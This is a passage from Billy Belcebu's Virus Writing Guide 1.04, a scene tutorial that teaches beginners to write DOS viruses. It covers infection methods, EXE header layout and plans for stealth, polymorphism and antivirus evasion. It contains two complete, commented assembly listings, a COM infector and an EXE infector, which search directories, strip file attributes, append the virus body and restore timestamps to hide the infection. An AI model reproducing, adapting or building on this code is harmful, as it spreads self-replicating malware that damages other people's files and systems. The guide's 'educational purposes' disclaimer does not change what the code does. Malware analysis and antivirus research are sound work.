Billy Belcebu Virus Writing Guide 1.04
---| Disclaimer |------------------------------------------------------------
The autor of this document isn't responsible of any kind of damage that co-
uld be made with the bad use of this information. The objective of this tu-
torial is to teach people how to create and defend againist the attack of
a lame YAM virus :) This tute is for educational purposes only. So, lawyers,
i don't give a shit if a lamer takes this information and makes destructive
viruses. And if through this document you see anywhere that i encourage to
destroy or corromp data, go directly to buy glasses.
---| Presentations |---------------------------------------------------------
Welcome the Billy Belcebu's Virus Writing Guide. This document is dedicated
to my master, zAxOn, my mentor from the days when i asked him what was ARJ
passing through the day when he lend me the TP5, and taught me all he knew,
till my first steps in Assembly. It's also dedicated to the ppl who want to
leave to be lamer, and want to join the " good scene ". I don't forget the
author of a lot of great documents, Dark Angel ( member of the extinct pio-
neer cool group called Phalcon/Skism ), cause his tutorials taught me in my
early stages. Of course, to The Offspring, Marilyn Manson, Blind Guardian,
Stratovarius and Metallica ( I hear another groups, but these are the best
ones ) cause with their music i'm writing this lines. Hope you like this
beginner's guide, probably my last tribute for DOS viruses.
NOTE: English ain't my first language ( it's spanish ), so excuse me for all
my misspells i made ( a lot of ), and notify me them for later updates of
this document.
--- Contact me
+ E-mail billy_belcebu@hotmail.com
billy_belcebu@cryogen.com
+ ICQ # 22290500
+ Personal web page http://members.xoom.com/billy_bel
http://www.cryogen.com/billy_belcebu
+ Group web page http://sourceofkaos.com/homes/ddt
+ IRC [Billy_Bel] Undernet #vir, Irc-Hispano #virus
Have phun!
Billy Belceb£,
mass killer and ass kicker.
---| Useful software for virus coding |--------------------------------------
You need some things before start writing virii. Here you have the programs
i recommend you ( If you haven't enough money for buy them... DOWNLOAD! ) :)
+ Borland Turbo Assembler 3.1 will be enough for dos viruses
+ Borland Turbo Link 5.1
+ SoftIce debugger, Borland Turbo Debug 3.1, AVP debugger, or dos debug even
+ The text editor you like more ( QuickEdit should be a good choice )
+ Some virus sources ( from old viruses like stoned to the coolest, like
Zhengxi, Onehalf, Cabanas, Esperanto... )
+ Some virus related e-zines ( 40hex, Insane Reality, Xine, 29A... )
+ Utilities that can show you memory dumps and else, like Norton Utilities
+ The Ralf Brown's Interrupt list
+ Some assembler books ( for doubts and this kinda things ) :)
+ Some AVs ( in order to see if our virii is detected heuristically )
+ Of course, this document ;)
I hope i don't forget any important thing.
---| Some useful theory |----------------------------------------------------
A virus is a program ussually coded in assembler ( but can also be coded in
other languages, like PASCAL and C ) that spreads copies of itself to other
executables and/or another things like boot sectors or MBRs. The assembler
ain't as " diabolic " as some people say, believe me :)
Well, i hope you have noted that i don't mention anywhere the macro viruses:
if you wanna learn something, i think that the best thing you could do is to
write viruses in assembler.
A virus attaches itself at end of the victim ( the 80% of viruses ), take
advantage of the MS-DOS feature of executing first a COM than a EXE file
( companion viruses ), don'tincrease the size ( guest infectors and overwri-
ting virii ), EXE header viruses, midfile infectors, install in boot, in MBR
And with the compression engines... a virus can decrease the size of the
victim after infection!!! ;) Hope to see soon a virus like this (Supeeeer ;)
Let's see how a virus of the first kind works with some nice graphics ;)
.--------------. .-------------. .--------------.<.
| | | | .-|JMP VIRUS| | |
| | | VIRUS | | |---------' | |
| FILE |+| | -------->| FILE | |
| | '-------------' | | | |
| | | | | |
'--------------' '>|--------------| |
| | |
| VIRUS | |
| | |
'--------------'-'
Viruses ussually follow the same steps:
1. Locate the file to infect ( Waiting till opening or something, or seeking
throught directories )
2. Check if it's already infected
3. If yes, skip it.
4. Save file date/time
5. Put a jump to our code saving the first bytes
6. Append the virus body
7. Restore file date/time
It's very simple as you can see, but they use different ways for arrive to
the below point. I'll explain it later.
Another type of infection can be also made, but it's more slow, because we
have to take all guest code, save it in a temporal place, write the virus
code, and after our code, the guest original code. Let's see:
.--------------. .-------------. .--------------.
| | | | | |
| | | VIRUS | | VIRUS |
| FILE |+| | ------> | |
| | '-------------' |--------------||
| | | |v
'--------------' | |
| FILE |
| |
| |
'--------------'
The worst viruses in the world are the overwriting ones. They're so destruc-
tive, and the infection is easily detected, cause they don't execute the
guest ( they can't be operative coz the infection method ), they only execu-
tes their own body. Let's see a graphic.
.--------------. .-------------. .--------------.
| | | | | |
| | | VIRUS | | VIRUS |
| FILE |+| | ------> | |
| | '-------------' |--------------|
| | | | <----- The file
'--------------' '--------------' never more run :(
A really good idea is the mid-file infection, probably one of the best me-
thods for infect: viruses more hard to remove, emulate... They simply write
itself to a random offset on the host, and we give'em the control there.
.--------------. .-------------. .--------------.<.
| | | | .-|JMP VIRUS | | |
| | | VIRUS | | |----------' | |
| FILE |+| | -------->| FILE (I) | |
| | '-------------' '>|--------------| |
| | | | |
'--------------' | VIRUS | |
| | |
|--------------|-'
| FILE (II) |
|--------------|
| SAVED DATA |
| OVERWRITTEN |
| BY THE VIRUS |
'--------------'
In fact, there is a method that comes from this one, that mainly is to find
"holes" in the executable file, such as big data zones. Let's see a little
diagram for this ones.
.--------------. .-------------. .--------------.<.
| | | | .-|JMP VIRUS | | |
| | | VIRUS | | |----------' | |
| FILE |+| | -------->| FILE (I) | |
| | '-------------' '>|--------------| | .
| | | | | | Was a
'--------------' | VIRUS | | | data area
| | | | w/constant
|--------------|-' ' value.
| FILE (II) |
| |
'--------------'
Of course, there're more and more infection methods, but this is a guide for
beginners... never forget it :) And that are demonstration diagrams...
A virus have some different phases:
+ INFECTION: A virus arrive to an unsuspecting guy, inside a file ( via dis-
quettes, e-mail... ) or boot sectors ( disquettes... ). The user executes
the virus without know it, and then is when the creature takes the con-
trol of the system ( instead the user ) ;)
+ I-HAVE-THE-CONTROL: This is the funniest phase of viruses, cause the user,
lives very happy, lending programs to his/her friends, infecting them, and
all this stuff. And the virus quickly infects more and more people.
+ PAYLOAD: After a decisive situation, the virus show its presence. The pay-
load can be destructive or not ;) In my humble opinion, the destruc-
tive payloads are only made by the lamers, this scum who enjoy destroying
other computers, and with the well know attitude of a dickhead. The better
payloads are the original ones, coz they make the user to feel astonished.
Of course, there're virus without a payload, that don't do anything besi-
des replicate (Hi Patty Bitchman!).
In this tutorial i will talk about some other interesting stuff like:
+ ARMOURING: I really LOVE this stuff. It's ussually used for avoid the
debugging/dissasembling of our virus for any undesirable guy. Well, a good
VXer can dissasemble whatever he/she ( ? ) wants to. You have an example
in Tcp/29A and Darkman/29A...
+ STEALTH: The concealment method for excelence. There're a lot of methods
for make stealth ( FCB, Handles, SFT, Disinfection-on-the-fly... ) I'll
explain some of these things. This consists in make the user think there
isn't any kind of infection, returning him the same file size that was be-
fore the infection, disinfecting the file before it's opened...
+ ENCRYPTION: This method consist in the cypher of the main virus body, so
the strings we can have as copyright can't be seen by a suspecting guy ;)
It's really an old technique, but nowadays is still used ( but with some
things that change, see the next point ). Uses mathematic operations for
perform the work ( XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )
+ POLYMORPHISM: An extension of the encryption in order to avoid AVs. The
objective is generate different decryption routines each time for make
impossible the scan of the virus, or minimize the possible scan strings :)
+ ANTI-HEURISTIC: Heuristic scanners aren't as trustables like some people
say. I'll demonstrate that the heuristic aren't as safe as they seem. This
stuff are some tricks you can use for avoid flags.
+ TUNNELING: This stuff is used for obtain the " real " INT 21h vectors,
bypassing the TSR watchdogs, and all that's in our way.
+ ANTI-TUNNELING: The weapon that AV used for avoid tunnelers becomes in one
of the TSR watchdog's enemy. It's also cool for stop the steps of other
viruses that are trying to get _OUR_ INT21h :)
+ ANTI-BAIT: Baits ( aka sacrifical goats ) are what AV uses for make multi-
ple infections in a lot of files, trying to get a scan string for our
virus ( and with it, our mutation engine )... and, we want this? NO! I'll
explain the most used methods for don't infect this non-sense programs.
+ OPTIMIZATION: The better viruses are the ones that do a lot of thing using
very few bytes. In this little chapter you'll see how to do some things
using less bytes.
---| First steps, RUNTIME viruses |------------------------------------------
There're some methods for a success infection. Now I'll explain the most old
ones, the RUNTIME ( aka direct action ). Nowadays, no one makes a runtime
infector, because they're slooooooow, and their presence is quickly detected
by a middle-interested user. But... don't be afraid! This method is very
simple, and all the people now in the scene, made their first steps with a
runtime com infector. This method is only for your first contact with the
virus developing. A runtime virus consist in a program that searches for
files using a wildcard ( "*.com","*.exe","*.*"... ) and using the DOS-API
( of course, the INT 21h ) functions Findfirst and Findnext ( 4Eh and 4Fh ).
It can also enter in another directories than the actual one for perform its
infection. Ussually this kinda viruses infects COM and EXE, but we can also
infect SYS, OBJ, ZIP... but for this i'd need another tutorial, and... do
you remember this is for beginners? ;)
% COM infection %
-----------------
The easiest, as you can imagine is the COM infection. It's the first thing
you must understand, coz the infection ( not the way used to arrive there )
is more or less, the same stuff in all kinda viruses ( TSR and so on ):
1. Open file
2. Save time/date/attributes
3. Store first ( ussually 3 ) bytes
4. Calculate the new jump
5. Put it
6. Append main virus body
7. Restore time/date/attributes
8. Close file
You must remember that a COM file look is the same in the physical code than
in the memory ( COM = Copy Of Memory ). DOS gives all the available memory
to the COM file. Let's see how is a COM program when it's loaded in memory:
.-----------------------------------. <------ CS = 0000h
| Program Segment Prefix ( PSP ) | |-- DS = 0000h
| 100h bytes ( 256d ) | |-- ES = 0000h
|-----------------------------------| <-. '-- SS = 0000h
| Program Code and Data | '- CS:IP = 0100h
| |
| |
| | .-- CS = FFFFh (*) The stack grows
| | |-- DS = FFFFh backwards, from
| Stack | .--- ES = FFFFh bottom to top.
'-----------------------------------' <--' SS:SP = FFFFh
The COM files can only have the size of a segment ( FFFFh bytes ) less 100h
bytes that are used for PSP ( FFFFh - 100h = FEFFh ). But there's a problem.
We must save more space for let the stack grow what we need ( every time we
make a PUSH and we forget the POP, the stack grows, and if it grows too much
it'll finish trashing our program ). I'll leave at least 100h more bytes for
stack. Ok ? :)
It's very easy to understand... and it's LOGIC!!! ;)
Talking about logic things... I think it is a good time for practice the COM
infection. It's a LAME virus. LAME? Only? More than this : the LAMEST! ;)
But this is a beginners documment, and i must make it! Althougth it fuck me!
Well, i don't kill my mind programming some stuff like that, althougth i'd
spend only 5 minutes in coding my own :) ( spend time? just WASTE time! :)
;---[ CUT HERE ]-------------------------------------------------------------
; A very lame virus. Don't compile. Don't distribute.
; If you make a copy of this... you'll be LAME!
; But i hope it'll help you in order to become a VXer from the first steps
; to the GIANT ones ;) And then you'll have to send me greets :)
; I hate to code my own runtime virus ( 5 minutes for write a shit, please
; believe me, is very boring and a WASTE of time ) so I used Dark Angel's Gý
; Sorry, i'm a goddamn lazy :)
;
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj
; Virus generated by Gý 0.70á ( Look, I didn't removed signatures. This ain't
; mine! The lamest thing you can do is remove signatures. Don't forget it! )
; Gý written by Dark Angel of Phalcon/Skism
; File: LAME.ASM
.model tiny
.code
org 0100h
carrier:
db 0E9h,0,0 ; jmp start
start:
mov bp, sp ; Antidebugging get ë offset!
int 0003h ; Int for breakpoints
next:
mov bp, ss:[bp-6]
sub bp, offset next
;----------------------------------------------------------------------------
; Explanation:
; Let's see. When we infect a file ALL offsets get moved exactly da size of
; guest, so we choice a register ( ussually BP or SI ) and we put in it the
; size of the file with this simple thing, and each time we use a variable or
; something, we MUST add the register used as ë-offset ( here BP )
;----------------------------------------------------------------------------
mov dl, 0000h ; Default drive
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; The first block stores the current directory in a variable for l8r return.
; Take a look to the zone of this document where are the DTA structure. The
; DTA ( Disk Transfer Address ) begins in the byte 80h of the PSP ( Program
; Segment Prefix ) where also resides the command line. And you wonder why...
; What happens when we use the DTA with the command line? That's the reason
; of storing the DTA ( Besides for our own use, of course ) ;)
;----------------------------------------------------------------------------
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb ; Move first byte
movsw ; Move next two
mov byte ptr [bp+numinfect], 0000h
;----------------------------------------------------------------------------
; Explanation:
; This routine restores the 3 original first bytes of the infected com, loca-
; ted above offset 100h, and also saves this offset in DI for later use.
; The last line setups the actual number of infections to 0 ( the couter ).
;----------------------------------------------------------------------------
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; All we do here is infect all files in the directory, and we end with this,
; we change directory to ..
; And when there aren't more directories we restore the old when we were.
;----------------------------------------------------------------------------
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
return:
ret
;----------------------------------------------------------------------------
; Explanation:
; This will restore the taken DTA to its original address, in the offset 80h
; at the Program Segment Prefix ( PSP ), and then return to original offset
; 100h, for execute the file normally ;) ( Remember we pushed di when it was
; equal to 100h )
;----------------------------------------------------------------------------
old3 db 0cdh,20h,0
infect:
mov ah, 004Eh ; find first
mov cx, 0007h ; all files
findfirstnext:
int 0021h
jc return
;----------------------------------------------------------------------------
; Explanation:
; In this code all we do is search in the current directory for the files
; matching with the wildcard in DX ( in this example "*.COM" ), with any kind
; of attributes.
; Old3 is the var that handles the first 3 bytes of the actual infected COM.
; If there isn't matching files, a carry flag is returned and then we jump to
; a routine that returns the control to the main program. If we found at
; lest one of them, we jump to the following code, and when finish this, we
; look for another file
;----------------------------------------------------------------------------
cmp word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so
;----------------------------------------------------------------------------
; Explanation:
; This is for not infect the command.com, checking if file has in pos name+5
; ( DTA+35 ) the word DN ( ND, but the words are stored reverse! )
;----------------------------------------------------------------------------
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; The first block has a double function: stores the file attributes of the
; file for later restore, and also check if file exists or there's a problem.
; The second one save in stack 4301h ( function for put attributes ) and also
; clear file of undesirable attributes like read-only :)
;----------------------------------------------------------------------------
lea dx, [bp+newDTA+30]
mov ax, 3D02h ; Open R/O
int 0021h
xchg ax, bx ; Handle in BX
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
;----------------------------------------------------------------------------
; Explanation:
; The first block opens the file in read/write mode, and the put the file
; handle in BX, where it'll be more useful.
; The second block of instructions get the file date and time and then save
; them in the stack.
;----------------------------------------------------------------------------
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4202h
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; The first block reads 1Ah bytes ( 26 ) into the variable readbuffer, for
; later comparations. The second block moves the file pointer to the end of
; the file for two reasons: file size will be put in AX, and we need to be
; there for append
;----------------------------------------------------------------------------
cmp word ptr [bp+offset readbuffer], "ZM"
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
;----------------------------------------------------------------------------
; Explanation:
; The first block compares the two first bytes of the opened COM file in
; order to see if it's a misnamed EXE ( remember the words must be in reverse
; order ). The second block check for previous infection, comparing the virus
; size + the guest ( before be infected ) size with the guest actual size.
;----------------------------------------------------------------------------
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw
;----------------------------------------------------------------------------
; Explanation:
; The first block of instructions check the size of the COM, to see if we can
; infect it ( the COM size + virus size can't be > 0FFFFh ( 65535 ), cause it
; is, the PSP and/or stack will corromp the code.
; The second block moves the values of old3 ( 3 bytes ) var to readbuffer.
;----------------------------------------------------------------------------
sub ax, 0003h ; Virus_size-3 ( jump size )
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; Opcode of jmp
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start] ; The beginning of what append
mov cx, heap-start ; Size to append
mov ah, 0040h ; concatenate virus
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; The first block calculates the jump to the virus code and then stores the
; result in a variable. The second block append the virus to the guest :)
;----------------------------------------------------------------------------
mov ax, 4200h
xor dx, dx
xor cx, cx
int 0021h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;----------------------------------------------------------------------------
; Explanation:
; The first block moves the file pointer to the beginning of da file, and the
; second one writes the jump to the virus code there.
; The third increases the variable that holds the number of succesful infec-
; tions already made
;----------------------------------------------------------------------------
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
;----------------------------------------------------------------------------
; Explanation:
; The first block of instruction restore the time and date of file stored in
; the DTA. And the second closes the file and the third one restore old attrs
; of the infected file.
; The last one put in AX the function FindNext of DOS, and jumps to search
; for more files to infect.
;----------------------------------------------------------------------------
signature db "[PS/Gý]",0 ; Phalcon/Skism Gý ( old!! )
COMmask db "*.COM",0 ; Must be ASCIIZ ( Ascii string,0 )
dot_dot db "..",0 ; Directory to change
heap: ; this data goes in heap
newDTA db 43 dup (?) ; DTA size, 2Bh
origdir db 65 dup (?) ; Where to store old directory
numinfect db ? ; Handles the number of infections
readbuffer db 1ah dup (?) ; Buffer
endheap:
end carrier
;---[ CUT HERE ]-------------------------------------------------------------
It's very simple all this, as you can see. And this code is FULLY commented.
If you still don't understand this, don't change chapter, re-read all the
COM infection!!!. But... a virus that only infect COMs... and runtime maybe
would be cool 6 or 7 years ago, but nowadays it's horrible! Before spread a
runtime virus now, i recommend you to wait some time. Some months could
be enough in order to have a better knowledge of assembler language, and if
you dedicate some time for improve your skills, you'll make a TSR COM/EXE
infector with full stealth and nice tricks in some months more.
ENUNS
-----
Well, the goddamn Win95 has a lot of COM files, interesting huh? They're so
far the most used, but there's a problem. If we infect them normally, they
hang :( The solution if to save the last seven bytes of the file at the end
of the file, adding the virus size to the last two.
Last words
----------
Don't hear the insults of another VXers about your first steps here, and
your viruses. Sometimes some of this people ( they're few guys, ussually all
people in the scene in very kind ) forget their first steps were like yours,
believing theirselves god, as some AVers dickeads do. Pathetic.
I'll stop talking about this suckers who forget their roots, and let's talk
about the EXE infection.
% EXE infection %
-----------------
The first you must know is that the EXE infection is different than COM
infection ( i think you're intelligent and you know this ;) ) The EXEs can
be bigger in size, and they have a HEADER ( I think the most important part
infecting EXEs is manipulate that header ) that contains some useful values
for infection like the CS:IP ( stored in reverse order IP:CS ) ,SS:SP ( NOT
stored in reverse order!!! ), File size in paragraphs and all other things.
Here you have the header structure:
.-----------------------------------. <--- +0000h
| EXE file mark ( ZM or MZ ) | Size : 1 WORD
|-----------------------------------| <--- +0002h
| Bytes in last page of image* | Size : 1 WORD
|-----------------------------------| <--- +0004h
| Number of pages* | Size : 1 WORD
|-----------------------------------| <--- +0006h
| Number of relocation items | Size : 1 WORD
|-----------------------------------| <--- +0008h
| Size of the header in paragraphs | Size : 1 WORD
|-----------------------------------| <--- +000Ah
| MinAlloc in paragraphs | Size : 1 WORD
|-----------------------------------| <--- +000Ch
| MaxAlloc in paragraphs | Size : 1 WORD
|-----------------------------------| <--- +000Eh
| Initial SS* | Size : 1 WORD
|-----------------------------------| <--- +0010h
| Initial SP* | Size : 1 WORD
|-----------------------------------| <--- +0012h
| Negative checksum | Size : 1 WORD
|-----------------------------------| <--- +0014h
| Initial IP* | Size : 1 WORD
|-----------------------------------| <--- +0016h
| Initial CS* | Size : 1 WORD
|-----------------------------------| <--- +0018h
| Relocations | Size : 1 WORD
|-----------------------------------| <--- +001Ah
| Overlays | Size : 1 WORD
|-----------------------------------| <--- +001Ch
| Reserved / Not used | Size : 1 DWORD?
'-----------------------------------' ---------
Total Size : VARIABLE!
(*) The fields marked need to be modified at infection
The EXE files can have more than one segment ( one for code, one for data
and another for stack -> CS,DS,SS in order of appereance :)
The EXE's header is generated by the linker. The user don't give a shit :)
When DOS loads the EXE into memory, it looks like this:
.-----------------------------------. <------ ES = 0000h
| Program Segment Prefix ( PSP ) | '-- DS = 0000h
| 100h bytes ( 256d ) |
|-----------------------------------| <--- CS:IP ( pointed by header )
| |
| Program Code Segment ( CS ) |
| |
|-----------------------------------|
| |
| Program Data Segment ( DS ) |
| |
|-----------------------------------| <------ SS = 0000h
| |
| Program Stack Segment ( SS ) |
| |
'-----------------------------------' <--- SS:SP ( pointed by header )
As you can see, in the EXE files there isn't the problem existing in COMs.
For our stack needs ( PUSH and POP ) we have an entire segment! It still
grows backwards ( from bottom to top ).
Let's see da algorithm you must follow for yer EXE infector ( step by step )
1. Open the file ( wow, genius! ) for read only
2. Read the first 1A bytes ( 26d )
3. Store them in a variable
4. Close file
5. Check the first word for mark ( MZ, ZM )
6. If it's equal, continue, if not goto 16
7. Check for previous infection
8. If ain't infected, continue, if it's already infected goto 17
9. Save actual CS:IP ( reverse -> IP:CS ) for EXE restoring
10. For the same purpose, save SS:SP ( this order )
11. Calculate new CS:IP and SS:SP
12. Modify the bytes in the last page and the number of pages
13. Open again ( but in read/write mode )
14. Write the header
15. Move file pointer to the end
16. Append the virus body
17. Close file
Of course, you change some things to this, like open only one time for r/w
mode. Beware of infected EXEs SP. SP ain't even in normal EXEs ( could be,
but it'll trigger an heuristic flag! ). So, pay attention.
I don't wanna bore you with more theorical shit, and remember that the best
way to learn to code viruses is to see source codes of another viruses. And
it's good to see what i've just explained you :)
;---[ CUT HERE ]-------------------------------------------------------------
; I'll put code of my own when we arrive to more funny chapters. Until then,
; you must fuck you seeing code generated by Gý :)
;
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
id = ';)'
.model tiny
.code
org 0100h
start:
call next
next:
pop bp
sub bp, offset next
;----------------------------------------------------------------------------
; Explanation:
; This is the most common way to find the delta offset ( if you still don't
; know what is the delta offset, kill yourself )
;----------------------------------------------------------------------------
push ds
push es
push cs
pop es ; CS = ES
push cs
pop ds ; CS = ES = DS
;----------------------------------------------------------------------------
; Explanation:
; This AIN'T a COM! Remember it. The EXEs are more powerful ( and a little
; bit more hard to infect ) When we execute an EXE, each segment is pointing
; to a different offset, so we need to adjust them. Remember we can't put
; something like " mov es,ds ", so there's a little trick to do this. Use the
; stack :)
;----------------------------------------------------------------------------
mov ah, 001Ah ; Set DTA
lea dx, [bp+offset newDTA]
int 0021h
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
cwd ; Default drive
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; Do you remember our old friend, the DTA ? I hope da answer will be yes, coz
; it's not, re-read the full document, goddamit!
; And the second routine is also a well know one. This stuff is already seen.
;----------------------------------------------------------------------------
lea di, [bp+offset origCSIP2]
lea si, [bp+offset origCSIP]
movsw
movsw
movsw
movsw
mov byte ptr [bp+numinfect], 0000h
;----------------------------------------------------------------------------
; Explanation:
; Hey! Some new stuff! Well, the first block is for the later restore of the
; EXE guest file. I hope you know what MOVSW instruction does... Not? Grrr...
; I'm gonna explain you, but for another doubts... BUY AN ASSEMBLER BOOK!!!
; MOVSW moves a word from DS:SI to ES:DI ( MOVSB does the same but with a
; byte ) We make this because we have two double words. Wa can also put some-
; thing like MOV CX,4 and a REP MOVSW, or in a 386+, two MOVSD.
;----------------------------------------------------------------------------
traverse_loop:
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected
mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error
;----------------------------------------------------------------------------
; Explanation:
; It's a pain to explain routines already explained before...
;----------------------------------------------------------------------------
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h
pop es ; ES = DS
pop ds
mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; Already explained in COM infection
;----------------------------------------------------------------------------
restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh ; jmp far opcode
origCSIP2 dd ?
origSPSS2 dd ?
origCSIP dd 0fff00000h
origSPSS dd ?
return:
ret
;----------------------------------------------------------------------------
; Explanation:
; This is the way used to restore the guest EXE. Take a look to the instruct-
; ions... Our objective is to restore old CS:IP ans SS:SP of the infected EXE
; Take note that we must deactivate interrupts before stack manipulation.
; After this, we jump to the original EXE code, and all will happen like
; there isn't any strange thing :)
;----------------------------------------------------------------------------
infect:
mov cx, 0007h ; all files
mov ah, 004Eh ; find first
findfirstnext:
int 0021h
jc return
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; All this code seems to be equal to the COM infection. This is because it's
; the stuff that find EXE files, wipe the attributes and else
;----------------------------------------------------------------------------
mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0021h
xchg ax, bx
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
mov ax, 4202h
xor cx, cx
cwd
int 0021h
;----------------------------------------------------------------------------
; Explanation:
; Hey, guy. All this above code was already seen in COM infection. But from
; here till the end, there'll be the cool stuff of EXE infection :)
;----------------------------------------------------------------------------
cmp word ptr [bp+offset readbuffer], 'ZM'
jnz jmp_close
checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
;----------------------------------------------------------------------------
; Explanation:
; The first block compares the first bytes of the opened file in order to
; search for the EXE signature ( MZ ). The author of Gý seems to have forgot-
; ten to add a comparison for ZM, tho. The second one check for previous
; infection. This virus is an old runtime one, and it's a rudimentary way to
; mark infected EXEcutables ( put two bytes as SP in the EXE header )
;----------------------------------------------------------------------------
skipp:
lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
;----------------------------------------------------------------------------
; Explanation:
; For know that we are doing at this point, you must remember what MOVSW does
; ( Explained some lines above ). Ok ? Yeah, this restores CS:IP and SS:SP of
; the opened EXE.
;----------------------------------------------------------------------------
push bx ; save file handle
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
;----------------------------------------------------------------------------
; Explanation:
; This piece of code seems to be very hard to understand. But it isn't. The
; first block read the value on readbuffer+8 ( Header size in paragraphs ).
; And then turn it into bytes. The second block puts the file size in stack.
; The third one substracts to the file size the header size. The fourth
; divides the number in AX by 10, and puts the remainder in DX. After this,
; we put the new SS, IP, SP and CS.
;----------------------------------------------------------------------------
pop ax ; File length in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
mov word ptr [bp+readbuffer+4], dx ; the EXE header
;----------------------------------------------------------------------------
; Explanation:
; Yeeeha! Some cool math operations! :) First we make is to restore the file
; size. Then we add to this the virus size. This huge block that make a lot
; of calcualations is used for calculate the infected file size in the header
; that is in 512 bytes form, rounded to up. Imagine if we have a 513 bytes
; file, then we have here a 2 and 1 as remainder. The last one writes the
; calculated information to the header
;----------------------------------------------------------------------------
pop bx ; restore file handle
mov cx, heap-start
lea dx, [bp+offset start]
mov ah, 0040h ; concatenate virus
int 0021h
xor dx, dx
mov ax, 4200h
xor cx, cx
int 0021h
lea dx, [bp+offset readbuffer]
mov cx, 001Ah
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;----------------------------------------------------------------------------
; Explanation:
; We append the virus body, and then we move file ointer to the beginning.
; Now we write the new header, and increment the counter by 1.
;----------------------------------------------------------------------------
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h
mov ah, 004Fh ; find next
jmp findfirstnext
;----------------------------------------------------------------------------
; Explanation:
; This routines are known by us. No ? See the COM infection, sucker! ;)
;----------------------------------------------------------------------------
signature db "[PS/Gý]",0 ; Phalcon/Skism Gý
EXEmask db "*.EXE",0
dot_dot db "..",0
heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end start
;---[ CUT HERE ]-------------------------------------------------------------
Too much for you ? Ok, i know but i have to say one thing. When you underst-
and the concept of COM and EXE infection, your knowledge will grow as fast
as the light speed :) Doesn't matter that viruses are obsolete runtime ones.
